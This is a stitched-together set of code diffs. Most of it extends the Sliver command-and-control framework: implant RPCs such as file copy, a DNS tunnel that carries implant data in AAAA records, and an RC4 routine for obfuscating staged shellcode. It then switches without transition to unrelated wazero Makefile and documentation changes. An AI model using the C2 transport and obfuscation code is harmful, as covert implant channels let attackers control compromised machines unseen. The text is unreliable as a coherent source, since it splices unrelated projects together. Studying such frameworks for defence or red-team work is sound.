Download(ctx context.Context, in *sliverpb.DownloadReq, opts ...grpc.CallOption) (*sliverpb.Download, error)
|
||||
@@ -1127,6 +1128,15 @@ func (c *sliverRPCClient) Mv(ctx context.Context, in *sliverpb.MvReq, opts ...gr
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) Cp(ctx context.Context, in *sliverpb.CpReq, opts ...grpc.CallOption) (*sliverpb.Cp, error) {
|
||||
out := new(sliverpb.Cp)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Cp", in, out, opts...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (c *sliverRPCClient) Rm(ctx context.Context, in *sliverpb.RmReq, opts ...grpc.CallOption) (*sliverpb.Rm, error) {
|
||||
out := new(sliverpb.Rm)
|
||||
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Rm", in, out, opts...)
|
||||
@@ -1966,6 +1976,7 @@ type SliverRPCServer interface {
|
||||
Cd(context.Context, *sliverpb.CdReq) (*sliverpb.Pwd, error)
|
||||
Pwd(context.Context, *sliverpb.PwdReq) (*sliverpb.Pwd, error)
|
||||
Mv(context.Context, *sliverpb.MvReq) (*sliverpb.Mv, error)
|
||||
Cp(context.Context, *sliverpb.CpReq) (*sliverpb.Cp, error)
|
||||
Rm(context.Context, *sliverpb.RmReq) (*sliverpb.Rm, error)
|
||||
Mkdir(context.Context, *sliverpb.MkdirReq) (*sliverpb.Mkdir, error)
|
||||
Download(context.Context, *sliverpb.DownloadReq) (*sliverpb.Download, error)
|
||||
@@ -2331,6 +2342,9 @@ func (UnimplementedSliverRPCServer) Pwd(context.Context, *sliverpb.PwdReq) (*sli
|
||||
func (UnimplementedSliverRPCServer) Mv(context.Context, *sliverpb.MvReq) (*sliverpb.Mv, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method Mv not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) Cp(context.Context, *sliverpb.CpReq) (*sliverpb.Cp, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method Cp not implemented")
|
||||
}
|
||||
func (UnimplementedSliverRPCServer) Rm(context.Context, *sliverpb.RmReq) (*sliverpb.Rm, error) {
|
||||
return nil, status.Errorf(codes.Unimplemented, "method Rm not implemented")
|
||||
}
|
||||
@@ -4233,6 +4247,24 @@ func _SliverRPC_Mv_Handler(srv interface{}, ctx context.Context, dec func(interf
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_Cp_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.CpReq)
|
||||
if err := dec(in); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if interceptor == nil {
|
||||
return srv.(SliverRPCServer).Cp(ctx, in)
|
||||
}
|
||||
info := &grpc.UnaryServerInfo{
|
||||
Server: srv,
|
||||
FullMethod: "/rpcpb.SliverRPC/Cp",
|
||||
}
|
||||
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
|
||||
return srv.(SliverRPCServer).Cp(ctx, req.(*sliverpb.CpReq))
|
||||
}
|
||||
return interceptor(ctx, in, info, handler)
|
||||
}
|
||||
|
||||
func _SliverRPC_Rm_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
|
||||
in := new(sliverpb.RmReq)
|
||||
if err := dec(in); err != nil {
|
||||
@@ -5929,6 +5961,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
|
||||
MethodName: "Mv",
|
||||
Handler: _SliverRPC_Mv_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "Cp",
|
||||
Handler: _SliverRPC_Cp_Handler,
|
||||
},
|
||||
{
|
||||
MethodName: "Rm",
|
||||
Handler: _SliverRPC_Rm_Handler,
|
||||
|
||||
@@ -332,7 +332,13 @@ const (
|
||||
MsgListWasmExtensionsReq
|
||||
MsgListWasmExtensions
|
||||
MsgExecWasmExtensionReq
|
||||
MsgExecWasmExtension
|
||||
MsgExecWasmExtension
|
||||
|
||||
// MsgCpReq - Request to copy a file from one place to another
|
||||
MsgCpReq
|
||||
// MsgCp - Confirms the success/failure, as well as the total number of bytes
|
||||
// written of the cp request (resp to MsgCpReq)
|
||||
MsgCp
|
||||
)
|
||||
|
||||
// Constants to replace enums
|
||||
@@ -540,6 +546,11 @@ func MsgNumber(request proto.Message) uint32 {
|
||||
case *Mv:
|
||||
return MsgMv
|
||||
|
||||
case *CpReq:
|
||||
return MsgCpReq
|
||||
case *Cp:
|
||||
return MsgCp
|
||||
|
||||
case *CurrentTokenOwnerReq:
|
||||
return MsgCurrentTokenOwnerReq
|
||||
case *CurrentTokenOwner:
|
||||
|
||||
+2113
-1925
File diff suppressed because it is too large.
Load diff
@@ -219,6 +219,21 @@ message Mv {
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
message CpReq {
|
||||
string Src = 1;
|
||||
string Dst = 2;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
message Cp {
|
||||
string Src = 1;
|
||||
string Dst = 2;
|
||||
int64 BytesWritten = 3;
|
||||
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
message MkdirReq {
|
||||
string Path = 1;
|
||||
|
||||
@@ -259,6 +274,7 @@ message UploadReq {
|
||||
string Encoder = 2;
|
||||
bytes Data = 3;
|
||||
bool IsIOC = 4;
|
||||
string FileName = 5;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
@@ -142,7 +142,7 @@ func setupGo(appDir string) error {
|
||||
os.MkdirAll(goRootPath, 0700)
|
||||
|
||||
// Go compiler and stdlib
|
||||
goZipFSPath := filepath.Join("fs", runtime.GOOS, runtime.GOARCH, "go.zip")
|
||||
goZipFSPath := path.Join("fs", runtime.GOOS, runtime.GOARCH, "go.zip")
|
||||
goZip, err := assetsFs.ReadFile(goZipFSPath)
|
||||
if err != nil {
|
||||
setupLog.Errorf("static asset not found: %s", goZipFSPath)
|
||||
@@ -176,7 +176,7 @@ func setupGo(appDir string) error {
|
||||
if runtime.GOOS == "windows" {
|
||||
garbleFileName = "garble.exe"
|
||||
}
|
||||
garbleAssetPath := filepath.Join("fs", runtime.GOOS, runtime.GOARCH, garbleFileName)
|
||||
garbleAssetPath := path.Join("fs", runtime.GOOS, runtime.GOARCH, garbleFileName)
|
||||
garbleFile, err := assetsFs.ReadFile(garbleAssetPath)
|
||||
if err != nil {
|
||||
setupLog.Errorf("Static asset not found: %s", garbleFile)
|
||||
@@ -194,7 +194,7 @@ func setupGo(appDir string) error {
|
||||
|
||||
func setupSGN(appDir string) error {
|
||||
goBinPath := filepath.Join(appDir, "go", "bin")
|
||||
sgnZipFSPath := filepath.Join("fs", runtime.GOOS, runtime.GOARCH, "sgn.zip")
|
||||
sgnZipFSPath := path.Join("fs", runtime.GOOS, runtime.GOARCH, "sgn.zip")
|
||||
sgnZip, err := assetsFs.ReadFile(sgnZipFSPath)
|
||||
if err != nil {
|
||||
setupLog.Errorf("static asset not found: %s", sgnZipFSPath)
|
||||
|
||||
+111
-14
@@ -74,6 +74,8 @@ var (
|
||||
implantBase64 = encoders.Base64{} // Implant's version of base64 with custom alphabet
|
||||
ErrInvalidMsg = errors.New("invalid dns message")
|
||||
ErrNoOutgoingMessages = errors.New("no outgoing messages")
|
||||
ErrMsgTooLong = errors.New("too much data to encode")
|
||||
ErrMsgTooShort = errors.New("too little data to encode")
|
||||
)
|
||||
|
||||
// StartDNSListener - Start a DNS listener
|
||||
@@ -102,6 +104,7 @@ type DNSSession struct {
|
||||
ImplantConn *core.ImplantConnection
|
||||
CipherCtx *cryptography.CipherContext
|
||||
|
||||
dnsIdMsgIdMap map[uint32]uint32
|
||||
outgoingMsgIDs []uint32
|
||||
outgoingBuffers map[uint32][]byte
|
||||
outgoingMutex *sync.RWMutex
|
||||
@@ -122,13 +125,15 @@ func (s *DNSSession) nextMsgID() uint32 {
|
||||
|
||||
// StageOutgoingEnvelope - Stage an outgoing envelope
|
||||
func (s *DNSSession) StageOutgoingEnvelope(envelope *sliverpb.Envelope) error {
|
||||
// dnsLog.Debugf("Staging outgoing envelope %v", envelope)
|
||||
dnsLog.Debugf("Staging outgoing envelope %v", envelope)
|
||||
plaintext, err := proto.Marshal(envelope)
|
||||
if err != nil {
|
||||
dnsLog.Errorf("[dns] failed to marshal outgoing message %s", err)
|
||||
return err
|
||||
}
|
||||
ciphertext, err := s.CipherCtx.Encrypt(plaintext)
|
||||
if err != nil {
|
||||
dnsLog.Errorf("[dns] failed to encrypt outgoing message %s", err)
|
||||
return err
|
||||
}
|
||||
|
||||
@@ -143,7 +148,7 @@ func (s *DNSSession) StageOutgoingEnvelope(envelope *sliverpb.Envelope) error {
|
||||
|
||||
// PopOutgoingMsgID - Pop the next outgoing message ID, FIFO
|
||||
// returns msgID, len, err
|
||||
func (s *DNSSession) PopOutgoingMsgID() (uint32, uint32, error) {
|
||||
func (s *DNSSession) PopOutgoingMsgID(msg *dnspb.DNSMessage) (uint32, uint32, error) {
|
||||
s.outgoingMutex.Lock()
|
||||
defer s.outgoingMutex.Unlock()
|
||||
if len(s.outgoingMsgIDs) == 0 {
|
||||
@@ -155,6 +160,8 @@ func (s *DNSSession) PopOutgoingMsgID() (uint32, uint32, error) {
|
||||
if !ok {
|
||||
return 0, 0, errors.New("no buffer for msg id")
|
||||
}
|
||||
//Necessary for any race conditions for resolvers that send out multiple identical requests
|
||||
s.dnsIdMsgIdMap[msg.ID] = msgID
|
||||
return msgID, uint32(len(ciphertext)), nil
|
||||
}
|
||||
|
||||
@@ -464,6 +471,7 @@ func (s *SliverDNSServer) handleHello(domain string, msg *dnspb.DNSMessage, req
|
||||
dnsLog.Debugf("[dns] Assigned new dns session id = %d", dnsSessionID&sessionIDBitMask)
|
||||
s.sessions.Store(dnsSessionID&sessionIDBitMask, &DNSSession{
|
||||
ID: dnsSessionID & sessionIDBitMask,
|
||||
dnsIdMsgIdMap: map[uint32]uint32{},
|
||||
outgoingMsgIDs: []uint32{},
|
||||
outgoingBuffers: map[uint32][]byte{},
|
||||
outgoingMutex: &sync.RWMutex{},
|
||||
@@ -545,6 +553,23 @@ func (s *SliverDNSServer) handleDNSSessionInit(domain string, msg *dnspb.DNSMess
|
||||
resp.Authoritative = true
|
||||
for _, q := range req.Question {
|
||||
switch q.Qtype {
|
||||
|
||||
case dns.TypeAAAA:
|
||||
|
||||
chunks := splitToChunks(respData, 16)
|
||||
msg_len := len(respData)
|
||||
dnsLog.Infof("[dns] msg length: %d)", msg_len)
|
||||
for i, chunk := range chunks {
|
||||
ttl := uint32(msg_len)
|
||||
chunkIdx := uint32(i) << 8
|
||||
ttl = ttl ^ chunkIdx
|
||||
a_record := &dns.AAAA{
|
||||
Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeAAAA, Class: dns.ClassINET, Ttl: ttl},
|
||||
AAAA: chunk,
|
||||
}
|
||||
resp.Answer = append(resp.Answer, a_record)
|
||||
}
|
||||
|
||||
case dns.TypeTXT:
|
||||
rawTxt, _ := implantBase64.Encode(respData)
|
||||
respTxt := string(rawTxt)
|
||||
@@ -571,26 +596,60 @@ func (s *SliverDNSServer) handlePoll(domain string, msg *dnspb.DNSMessage, check
|
||||
loadSession, _ := s.sessions.Load(msg.ID & sessionIDBitMask)
|
||||
dnsSession := loadSession.(*DNSSession)
|
||||
|
||||
msgID, msgLen, err := dnsSession.PopOutgoingMsgID()
|
||||
if err != nil && err != ErrNoOutgoingMessages {
|
||||
dnsLog.Errorf("[poll] error popping outgoing msg id: %s", err)
|
||||
return s.refusedErrorResp(req)
|
||||
msgID, msgLen, err := dnsSession.PopOutgoingMsgID(msg)
|
||||
if err != nil {
|
||||
if err != ErrNoOutgoingMessages {
|
||||
dnsLog.Errorf("[poll] error popping outgoing msg id: %s", err)
|
||||
return s.refusedErrorResp(req)
|
||||
} else {
|
||||
msgLen = 0
|
||||
msgID = 0
|
||||
dnsLog.Debugf("[poll] error: %s", err)
|
||||
oldID, ok := dnsSession.dnsIdMsgIdMap[msg.ID]
|
||||
if !ok {
|
||||
dnsLog.Debugf("[poll] no msg id for given request")
|
||||
} else {
|
||||
ciphertext, ok := dnsSession.outgoingBuffers[oldID]
|
||||
if !ok {
|
||||
dnsLog.Debugf("[poll] no msg for given id")
|
||||
} else {
|
||||
msgLen = uint32(len(ciphertext))
|
||||
msgID = oldID
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
respData := []byte{}
|
||||
if err == nil {
|
||||
dnsLog.Debugf("[poll] manifest %d (%d bytes)", msgID, msgLen)
|
||||
respData, _ = proto.Marshal(&dnspb.DNSMessage{
|
||||
Type: dnspb.DNSMessageType_MANIFEST,
|
||||
ID: msgID,
|
||||
Size: msgLen,
|
||||
})
|
||||
}
|
||||
dnsLog.Debugf("[poll] manifest %d (%d bytes)", msgID, msgLen)
|
||||
respData, _ = proto.Marshal(&dnspb.DNSMessage{
|
||||
Type: dnspb.DNSMessageType_MANIFEST,
|
||||
ID: msgID,
|
||||
Size: msgLen,
|
||||
})
|
||||
|
||||
resp := new(dns.Msg)
|
||||
resp.SetReply(req)
|
||||
resp.Authoritative = true
|
||||
for _, q := range req.Question {
|
||||
switch q.Qtype {
|
||||
case dns.TypeAAAA:
|
||||
|
||||
chunks := splitToChunks(respData, 16)
|
||||
msg_len := len(respData)
|
||||
dnsLog.Infof("[dns] msg length: %d)", msg_len)
|
||||
for i, chunk := range chunks {
|
||||
ttl := uint32(msg_len)
|
||||
chunkIdx := uint32(i) << 8
|
||||
ttl = ttl ^ chunkIdx
|
||||
a_record := &dns.AAAA{
|
||||
Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeAAAA, Class: dns.ClassINET, Ttl: ttl},
|
||||
AAAA: chunk,
|
||||
}
|
||||
resp.Answer = append(resp.Answer, a_record)
|
||||
}
|
||||
|
||||
case dns.TypeTXT:
|
||||
rawTxt, _ := implantBase64.Encode(respData)
|
||||
respTxt := string(rawTxt)
|
||||
@@ -609,6 +668,7 @@ func (s *SliverDNSServer) handlePoll(domain string, msg *dnspb.DNSMessage, check
|
||||
resp.Answer = append(resp.Answer, txt)
|
||||
}
|
||||
}
|
||||
|
||||
return resp
|
||||
}
|
||||
|
||||
@@ -664,6 +724,22 @@ func (s *SliverDNSServer) handleDataToImplant(domain string, msg *dnspb.DNSMessa
|
||||
resp.Authoritative = true
|
||||
for _, q := range req.Question {
|
||||
switch q.Qtype {
|
||||
case dns.TypeAAAA:
|
||||
|
||||
chunks := splitToChunks(respData, 16)
|
||||
msg_len := len(respData)
|
||||
dnsLog.Infof("[dns] msg length: %d)", msg_len)
|
||||
for i, chunk := range chunks {
|
||||
ttl := uint32(msg_len)
|
||||
chunkIdx := uint32(i) << 8
|
||||
ttl = ttl ^ chunkIdx
|
||||
a_record := &dns.AAAA{
|
||||
Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeAAAA, Class: dns.ClassINET, Ttl: ttl},
|
||||
AAAA: chunk,
|
||||
}
|
||||
resp.Answer = append(resp.Answer, a_record)
|
||||
}
|
||||
|
||||
case dns.TypeTXT:
|
||||
rawTxt, _ := implantBase64.Encode(respData)
|
||||
respTxt := string(rawTxt)
|
||||
@@ -801,3 +877,24 @@ func dnsSessionID() uint32 {
|
||||
dnsSessionID := binary.LittleEndian.Uint32(randBuf)
|
||||
return dnsSessionID
|
||||
}
|
||||
|
||||
func splitToChunks(data []byte, chunkSize int) [][]byte {
|
||||
var chunks [][]byte
|
||||
|
||||
for i := 0; i < len(data); i += chunkSize {
|
||||
end := i + chunkSize
|
||||
|
||||
// If end is greater than the length of the data,
|
||||
// adjust it to be the length of data to avoid slicing beyond.
|
||||
if end > len(data) {
|
||||
end = len(data)
|
||||
}
|
||||
|
||||
chunk := make([]byte, chunkSize)
|
||||
copy(chunk, data[i:end])
|
||||
|
||||
chunks = append(chunks, chunk)
|
||||
}
|
||||
|
||||
return chunks
|
||||
}
|
||||
+7
-4
@@ -40,6 +40,9 @@ import (
|
||||
const (
|
||||
// defaultServerCert - Default certificate name if bind is "" (all interfaces)
|
||||
defaultServerCert = ""
|
||||
|
||||
// ServerMaxMessageSize - Server-side max GRPC message size
|
||||
ServerMaxMessageSize = (2 * 1024 * 1024 * 1024) - 1
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -160,27 +163,27 @@ func socketReadEnvelope(connection net.Conn) (*sliverpb.Envelope, error) {
|
||||
// Read the first four bytes to determine data length
|
||||
dataLengthBuf := make([]byte, 4) // Size of uint32
|
||||
n, err := io.ReadFull(connection, dataLengthBuf)
|
||||
|
||||
if err != nil || n != 4 {
|
||||
mtlsLog.Errorf("Socket error (read msg-length): %v", err)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))
|
||||
if dataLength <= 0 {
|
||||
if dataLength <= 0 || ServerMaxMessageSize < dataLength {
|
||||
// {{if .Config.Debug}}
|
||||
mtlsLog.Printf("[pivot] read error: %s\n", err)
|
||||
// {{end}}
|
||||
return nil, errors.New("[pivot] zero data length")
|
||||
return nil, errors.New("[pivot] invalid data length")
|
||||
}
|
||||
|
||||
dataBuf := make([]byte, dataLength)
|
||||
|
||||
n, err = io.ReadFull(connection, dataBuf)
|
||||
|
||||
if err != nil || n != dataLength {
|
||||
mtlsLog.Errorf("Socket error (read data): %v", err)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Unmarshal the protobuf envelope
|
||||
envelope := &sliverpb.Envelope{}
|
||||
err = proto.Unmarshal(dataBuf, envelope)
|
||||
|
||||
@@ -82,6 +82,7 @@ var (
|
||||
"csharp": true,
|
||||
"dw": true,
|
||||
"dword": true,
|
||||
"exe": true,
|
||||
"hex": true,
|
||||
"java": true,
|
||||
"js_be": true,
|
||||
|
||||
@@ -55,6 +55,16 @@ func (rpc *Server) Mv(ctx context.Context, req *sliverpb.MvReq) (*sliverpb.Mv, e
|
||||
return resp, nil
|
||||
}
|
||||
|
||||
// Cp - Copy a file to another location
|
||||
func (rpc *Server) Cp(ctx context.Context, req *sliverpb.CpReq) (*sliverpb.Cp, error) {
|
||||
resp := &sliverpb.Cp{Response: &commonpb.Response{}}
|
||||
err := rpc.GenericHandler(req, resp)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return resp, nil
|
||||
}
|
||||
|
||||
// Rm - Remove file or directory
|
||||
func (rpc *Server) Rm(ctx context.Context, req *sliverpb.RmReq) (*sliverpb.Rm, error) {
|
||||
resp := &sliverpb.Rm{Response: &commonpb.Response{}}
|
||||
|
||||
@@ -22,10 +22,24 @@ import (
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"crypto/rand"
|
||||
"crypto/rc4"
|
||||
"errors"
|
||||
"io"
|
||||
)
|
||||
|
||||
// RC4 encryption - Cryptographically insecure!
|
||||
// Added for stage-listener shellcode obfuscation
|
||||
// Dont use for anything else!
|
||||
func RC4EncryptUnsafe(data []byte, key []byte) []byte {
|
||||
cipher, err := rc4.NewCipher(key)
|
||||
if err != nil {
|
||||
return make([]byte, 0)
|
||||
}
|
||||
cipherText := make([]byte, len(data))
|
||||
cipher.XORKeyStream(cipherText, data)
|
||||
return cipherText
|
||||
}
|
||||
|
||||
// PreludeEncrypt the results
|
||||
func PreludeEncrypt(data []byte, key []byte, iv []byte) []byte {
|
||||
plainText, err := pad(data, aes.BlockSize)
|
||||
|
||||
+7
-7
@@ -1,10 +1,10 @@
|
||||
|
||||
gofumpt := mvdan.cc/[email protected]
|
||||
gosimports := github.com/rinchsan/gosimports/cmd/[email protected]
|
||||
golangci_lint := github.com/golangci/golangci-lint/cmd/[email protected]2.2
|
||||
golangci_lint := github.com/golangci/golangci-lint/cmd/[email protected]3.3
|
||||
asmfmt := github.com/klauspost/asmfmt/cmd/[email protected]
|
||||
# sync this with netlify.toml!
|
||||
hugo := github.com/gohugoio/[email protected]2.5
|
||||
hugo := github.com/gohugoio/[email protected]5.2
|
||||
|
||||
# Make 3.81 doesn't support '**' globbing: Set explicitly instead of recursion.
|
||||
all_sources := $(wildcard *.go */*.go */*/*.go */*/*/*.go */*/*/*.go */*/*/*/*.go)
|
||||
@@ -53,7 +53,7 @@ build.examples.as:
|
||||
build.examples.zig: examples/allocation/zig/testdata/greet.wasm imports/wasi_snapshot_preview1/example/testdata/zig/cat.wasm imports/wasi_snapshot_preview1/testdata/zig/wasi.wasm
|
||||
@cd internal/testing/dwarftestdata/testdata/zig; zig build; mv zig-out/*/main.wasm ./ # Need DWARF custom sections.
|
||||
|
||||
tinygo_sources := examples/basic/testdata/add.go examples/allocation/tinygo/testdata/greet.go examples/cli/testdata/cli.go imports/wasi_snapshot_preview1/example/testdata/tinygo/cat.go
|
||||
tinygo_sources := examples/basic/testdata/add.go examples/allocation/tinygo/testdata/greet.go examples/cli/testdata/cli.go imports/wasi_snapshot_preview1/example/testdata/tinygo/cat.go imports/wasi_snapshot_preview1/testdata/tinygo/wasi.go
|
||||
.PHONY: build.examples.tinygo
|
||||
build.examples.tinygo: $(tinygo_sources)
|
||||
@for f in $^; do \
|
||||
@@ -62,7 +62,7 @@ build.examples.tinygo: $(tinygo_sources)
|
||||
|
||||
# We use zig to build C as it is easy to install and embeds a copy of zig-cc.
|
||||
# Note: Don't use "-Oz" as that breaks our wasi sock example.
|
||||
c_sources := imports/wasi_snapshot_preview1/example/testdata/zig-cc/cat.c imports/wasi_snapshot_preview1/testdata/zig-cc/wasi.c
|
||||
c_sources := imports/wasi_snapshot_preview1/example/testdata/zig-cc/cat.c imports/wasi_snapshot_preview1/testdata/zig-cc/wasi.c internal/testing/dwarftestdata/testdata/zig-cc/main.c
|
||||
.PHONY: build.examples.zig-cc
|
||||
build.examples.zig-cc: $(c_sources)
|
||||
@for f in $^; do \
|
||||
@@ -250,9 +250,9 @@ clean: ## Ensure a clean build
|
||||
fuzz_timeout_seconds ?= 10
|
||||
.PHONY: fuzz
|
||||
fuzz:
|
||||
@cd internal/integration_test/fuzz && cargo fuzz run basic -- -max_total_time=$(fuzz_timeout_seconds)
|
||||
@cd internal/integration_test/fuzz && cargo fuzz run memory_no_diff -- -max_total_time=$(fuzz_timeout_seconds)
|
||||
@cd internal/integration_test/fuzz && cargo fuzz run validation -- -max_total_time=$(fuzz_timeout_seconds)
|
||||
@cd internal/integration_test/fuzz && cargo fuzz run basic -- -rss_limit_mb=8192 -max_total_time=$(fuzz_timeout_seconds)
|
||||
@cd internal/integration_test/fuzz && cargo fuzz run memory_no_diff -- -rss_limit_mb=8192 -max_total_time=$(fuzz_timeout_seconds)
|
||||
@cd internal/integration_test/fuzz && cargo fuzz run validation -- -rss_limit_mb=8192 -max_total_time=$(fuzz_timeout_seconds)
|
||||
|
||||
#### CLI release related ####
|
||||
|
||||
|
||||
+384
-48
@@ -414,12 +414,49 @@ In reflection, this approach worked well for the nearly 1.5 year period leading
|
||||
to version 1.0. We've only had to create a single sub-configuration, `FSConfig`,
|
||||
and it was well understood why when it occurred.
|
||||
|
||||
## Why does InstantiateModule call "_start" by default?
|
||||
We formerly had functions like `StartWASICommand` that would verify preconditions and start WASI's "_start" command.
|
||||
However, this caused confusion because both many languages compiled a WASI dependency, and many did so inconsistently.
|
||||
## Why does `ModuleConfig.WithStartFunctions` default to `_start`?
|
||||
|
||||
That said, if "_start" isn't called, it causes issues in TinyGo, as it needs this in order to implement panic. To deal
|
||||
with this a different way, we have a configuration to call any start functions that exist, which defaults to "_start".
|
||||
We formerly had functions like `StartWASICommand` that would verify
|
||||
preconditions and start WASI's `_start` command. However, this caused confusion
|
||||
because both many languages compiled a WASI dependency, and many did so
|
||||
inconsistently.
|
||||
|
||||
The conflict is that exported functions need to use features the language
|
||||
runtime provides, such as garbage collection. There's a "chicken-egg problem"
|
||||
where `_start` needs to complete in order for exported behavior to work.
|
||||
|
||||
For example, unlike `GOOS=wasip1` in Go 1.21, TinyGo's "wasi" target supports
|
||||
function exports. So, the only way to use FFI style is via the "wasi" target.
|
||||
Not explicitly calling `_start` before an ABI such as wapc-go, would crash, due
|
||||
to setup not happening (e.g. to implement `panic`). Other embedders such as
|
||||
Envoy also called `_start` for the same reason. To avoid a common problem for
|
||||
users unaware of WASI, and also to simplify normal use of WASI (e.g. `main`),
|
||||
we added `_start` to `ModuleConfig.WithStartFunctions`.
|
||||
|
||||
In cases of multiple initializers, such as in wapc-go, users can override this
|
||||
to add the others *after* `_start`. Users who want to explicitly control
|
||||
`_start`, such as some of our unit tests, can clear the start functions and
|
||||
remove it.
|
||||
|
||||
This decision was made in 2022, and holds true in 2023, even with the
|
||||
introduction of "wasix". It holds because "wasix" is backwards compatible with
|
||||
"wasip1". In the future, there will be other ways to start applications, and
|
||||
may not be backwards compatible with "wasip1".
|
||||
|
||||
Most notably WASI "Preview 2" is not implemented in a way compatible with
|
||||
wasip1. Its start function is likely to be different, and defined in the
|
||||
wasi-cli "world". When the design settles, and it is implemented by compilers,
|
||||
wazero will attempt to support "wasip2". However, it won't do so in a way that
|
||||
breaks existing compilers.
|
||||
|
||||
In other words, we won't remove `_start` if "wasip2" continues a path of an
|
||||
alternate function name. If we did, we'd break existing users despite our
|
||||
compatibility promise saying we don't. The most likely case is that when we
|
||||
build-in something incompatible with "wasip1", that start function will be
|
||||
added to the start functions list in addition to `_start`.
|
||||
|
||||
See http://wasix.org
|
||||
See https://github.com/WebAssembly/wasi-cli
|
||||
|
||||
## Runtime == Engine+Store
|
||||
wazero defines a single user-type which combines the specification concept of `Store` with the unspecified `Engine`
|
||||
@@ -447,26 +484,26 @@ https://github.com/bytecodealliance/wasmtime/blob/v0.29.0/crates/lightbeam/src/m
|
||||
|
||||
## Exit
|
||||
|
||||
### Why do we return a `sys.ExitError` on exit code zero?
|
||||
### Why do we only return a `sys.ExitError` on a non-zero exit code?
|
||||
|
||||
It may be surprising to find an error returned on success (exit code zero).
|
||||
This can be explained easier when you think of function returns: When results
|
||||
aren't empty, then you must return an error. This is trickier to explain when
|
||||
results are empty, such as the case in the "_start" function in WASI.
|
||||
It is reasonable to think an exit error should be returned, even if the code is
|
||||
success (zero). Even on success, the module is no longer functional. For
|
||||
example, function exports would error later. However, wazero does not. The only
|
||||
time `sys.ExitError` is on error (non-zero).
|
||||
|
||||
The main rationale for returning an exit error even if the code is success is
|
||||
that the module is no longer functional. For example, function exports would
|
||||
error later. In cases like these, it is better to handle errors where they
|
||||
occur.
|
||||
This decision was to improve performance and ergonomics for guests that both
|
||||
use WASI (have a `_start` function), and also allow custom exports.
|
||||
Specifically, Rust, TinyGo and normal wasi-libc, don't exit the module during
|
||||
`_start`. If they did, it would invalidate their function exports. This means
|
||||
it is unlikely most compilers will change this behavior.
|
||||
|
||||
Luckily, it is not common to exit a module during the "_start" function. For
|
||||
example, the only known compilation target that does this is Emscripten. Most,
|
||||
such as Rust, TinyGo, or normal wasi-libc, don't. If they did, it would
|
||||
invalidate their function exports. This means it is unlikely most compilers
|
||||
will change this behavior.
|
||||
`GOOS=waspi1` from Go 1.21 does exit during `_start`. However, it doesn't
|
||||
support other exports besides `_start`, and `_start` is not defined to be
|
||||
called multiple times anyway.
|
||||
|
||||
In summary, we return a `sys.ExitError` to the caller whenever we get it, as it
|
||||
properly reflects the state of the module, which would be closed on this error.
|
||||
Since `sys.ExitError` is not always returned, we added `Module.IsClosed` for
|
||||
defensive checks. This helps integrators avoid calling functions which will
|
||||
always fail.
|
||||
|
||||
### Why panic with `sys.ExitError` after a host function exits?
|
||||
|
||||
@@ -531,7 +568,7 @@ In short, wazero defined system configuration in `ModuleConfig`, not a WASI type
|
||||
one spec to another with minimal impact. This has other helpful benefits, as centralized resources are simpler to close
|
||||
coherently (ex via `Module.Close`).
|
||||
|
||||
In reflection, this worked well as more ABI became usable in wazero. For example, `GOARCH=wasm GOOS=js` code uses the
|
||||
In reflection, this worked well as more ABI became usable in wazero. For example, `GOOS=js GOARCH=wasm` code uses the
|
||||
same `ModuleConfig` (and `FSConfig`) WASI uses, and in compatible ways.
|
||||
|
||||
### Background on `ModuleConfig` design
|
||||
@@ -664,7 +701,7 @@ WASI is an abstraction over syscalls. For example, the signature of `fs.Open`
|
||||
does not permit use of flags. This creates conflict on what default behaviors
|
||||
to take when Go implemented `os.DirFS`. On the other hand, `path_open` can pass
|
||||
flags, and in fact tests require them to be honored in specific ways. This
|
||||
extends beyond WASI as even `GOARCH=wasm GOOS=js` compiled code requires
|
||||
extends beyond WASI as even `GOOS=js GOARCH=wasm` compiled code requires
|
||||
certain flags passed to `os.OpenFile` which are impossible to pass due to the
|
||||
signature of `fs.FS`.
|
||||
|
||||
@@ -681,7 +718,61 @@ these to be easier to close.
|
||||
See https://github.com/WebAssembly/wasi-testsuite
|
||||
See https://github.com/golang/go/issues/58141
|
||||
|
||||
### fd_pread: io.Seeker fallback when io.ReaderAt is not supported
|
||||
## Why is our `Readdir` function more like Go's `os.File` than POSIX `readdir`?
|
||||
|
||||
At one point we attempted to move from a bulk `Readdir` function to something
|
||||
more like the POSIX `DIR` struct, exposing functions like `telldir`, `seekdir`
|
||||
and `readdir`. However, we chose the design more like `os.File.Readdir`,
|
||||
because it performs and fits wasip1 better.
|
||||
|
||||
### wasip1/wasix
|
||||
|
||||
`fd_readdir` in wasip1 (and so also wasix) is like `getdents` in Linux, not
|
||||
`readdir` in POSIX. `getdents` is more like Go's `os.File.Readdir`.
|
||||
|
||||
We currently have an internal type `sys.DirentCache` which only is used by
|
||||
